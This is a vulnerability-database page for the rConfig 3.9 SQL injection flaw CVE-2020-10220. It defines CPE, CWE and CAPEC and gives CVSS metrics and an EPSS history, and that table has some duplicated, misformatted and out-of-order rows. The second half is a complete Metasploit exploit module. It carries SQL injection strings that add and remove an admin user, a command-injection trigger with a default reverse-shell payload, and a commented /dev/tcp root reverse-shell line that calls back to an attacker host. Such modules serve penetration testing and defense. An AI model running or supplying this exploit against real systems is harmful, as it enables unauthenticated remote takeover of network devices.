CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
30.8%
–
–
–
–
2021-09-05
–
30.8%
–
–
–
2022-01-09
–
30.8%
–
–
–
2022-02-06
–
–
53.59%
–
–
2022-04-03
–
–
4.84%
–
–
2022-06-26
–
–
4.84%
–
–
2022-08-07
–
–
53.59%
–
–
2023-03-12
–
–
–
0.36%
–
2023-07-09
–
–
–
0.36%
–
2023-09-03
–
–
–
2.2%
–
2024-02-11
–
–
–
2.2%
–
2024-02-18
–
–
–
3.05%
–
2024-06-02
–
–
–
3.05%
–
2024-11-03
–
–
–
2.58%
–
2024-12-22
–
–
–
22.89%
–
2025-02-02
–
–
–
25.33%
–
2025-03-02
–
–
–
25.99%
–
2025-01-19
–
–
–
22.89%
–
2025-02-02
–
–
–
25.33%
–
2025-03-09
–
–
–
25.99%
–
2025-03-18
–
–
–
–
94.08%
2025-03-30
–
–
–
–
94.26%
2025-05-19
–
–
–
–
94.02%
2025-05-19
–
–
–
–
94.02,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Rconfig 3.x Chained Remote Code Execution',
'Description' => '
This module exploits multiple vulnerabilities in rConfig version 3.9
in order to execute arbitrary commands.
This module takes advantage of a command injection vulnerability in the
`path` parameter of the ajax archive file functionality within the rConfig web
interface in order to execute the payload.
Valid credentials for a user with administrative privileges are required.
However, this module can bypass authentication via SQLI.
This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.
The steps are:
1. SQLi on /commands.inc.php allows us to add an administrative user.
2. An authenticated session is established with the newly added user
3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to
execute the payload.
4. Remove the added admin user.
Tips : once you get a shell, look at the CVE-2019-19585.
You will probably get root because rConfig install script add Apache user to
sudoers with nopasswd ;-)
',
'License' => MSF_LICENSE,
'Author' =>
[
'Jean-Pascal Thomas', # @vikingfr - Discovery, exploit and Metasploit module
'Orange Cyberdefense' # Module tests - greetz : CSR-SO team (https://cyberdefense.orange.com/)
],
'References' =>
[
['CVE', '2019-19509'], # authenticated rce
['CVE', '2020-10220'], # sqli auth bypass
%w[EDB 47982],
%w[EDB 48208],
['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py'], # authenticated RCE
['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py'] # unauthenticated SQLi
],
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Targets' => [['Auto', {}]],
'Privileged' => false,
'DisclosureDate' => '2020-03-11',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true, # HTTPS is required for the module to work because the rConfig php code handle http to https redirects
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'Base path to Rconfig', '/'])
]
end
# CHECK IF RCONFIG IS REACHABLE AND INSTALLED
def check
vprint_status 'STEP 0: Get rConfig version...'
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/login.php'
)
if !res || !res.get_html_document
fail_with(Failure::Unknown, 'Could not check rConfig version')
end
if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'
print_good('rConfig version 3.9 detected')
return Exploit::CheckCode::Appears
elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'
print_status('rConfig detected, but not version 3.9')
return Exploit::CheckCode::Detected
end
end
# CREATE AN ADMIN USER IN RCONFIG
def create_rconfig_user(user, _password)
vprint_status 'STEP 1 : Adding a temporary admin user...'
fake_id = Rex::Text.rand_text_numeric(3)
fake_pass = Rex::Text.rand_text_alpha(10)
fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'
fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'
userleveladmin = 9 # Administrator
user_sqli = "command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--"
sqli_res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
'method' => 'GET',
'vars_get' => {
'search' => 'search',
'searchOption' => 'contains',
'searchField' => 'vuln',
'searchColumn' => user_sqli
}
)
unless sqli_res
print_warning('Failed to create user: Connection failed.')
return
end
print_good "New temporary user #{user} created"
end
# AUTHENTICATE ON RCONFIG
def login(user, pass)
vprint_status "STEP 2: Authenticating as #{user} ..."
# get session cookie (PHPSESSID)
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/login.php'
)
@cookie = res.get_cookies
if @cookie.empty?
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
return
end
# authenticate
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),
'cookie' => @cookie,
'vars_post' => {
pass: pass,
user: user,
sublogin: 1
}
)
unless res
print_warning('Failed to authenticate: Connection failed.')
return
end
print_good "Authenticated as user #{user}"
end
def trigger_rce(cmd, _opts = {})
vprint_status "STEP 3: Executing the command (#{cmd})"
trigger = "`#{cmd} #`"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'),
'cookie' => @cookie,
'vars_get' => {
'path' => trigger,
'ext' => 'random'
}
)
# the page hangs because of the command being executed, so we can't expect HTTP response
# unless res
# fail_with Failure::Unreachable, 'Remote Code Execution failed: Connection failed'
# return
# end
# unless res.body.include? '"success":true'
# fail_with Failure::Unknown, 'It seems that the code was not executed'
# return
# end
print_good 'Command sucessfully executed'
end
# DELETE A USER
def delete_rconfig_user(user)
vprint_status 'STEP 4 : Removing the temporary admin user...'
del_sqli = "command ; DELETE FROM `users` WHERE `username`='#{user}';--"
del_res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
'method' => 'GET',
'vars_get' => {
'search' => 'search',
'searchOption' => 'contains',
'searchField' => 'vuln',
'searchColumn' => del_sqli
}
)
unless del_res
print_warning "Removing user #{user} failed: Connection failed. Please remove it manually."
return
end
print_status "User #{user} removed successfully !"
end
def cleanup
super
delete_rconfig_user @username if @username
end
def exploit
check
@username = rand_text_alphanumeric(8..12)
@password = 'admin'
create_res = create_rconfig_user @username, @password
login(@username, @password)
tmp_txt_file = Rex::Text.rand_text_alpha(10)
tmp_zip_file = Rex::Text.rand_text_alpha(10)
# The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-(
# trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'")
trigger_rce(payload.encoded.to_s)
end
end
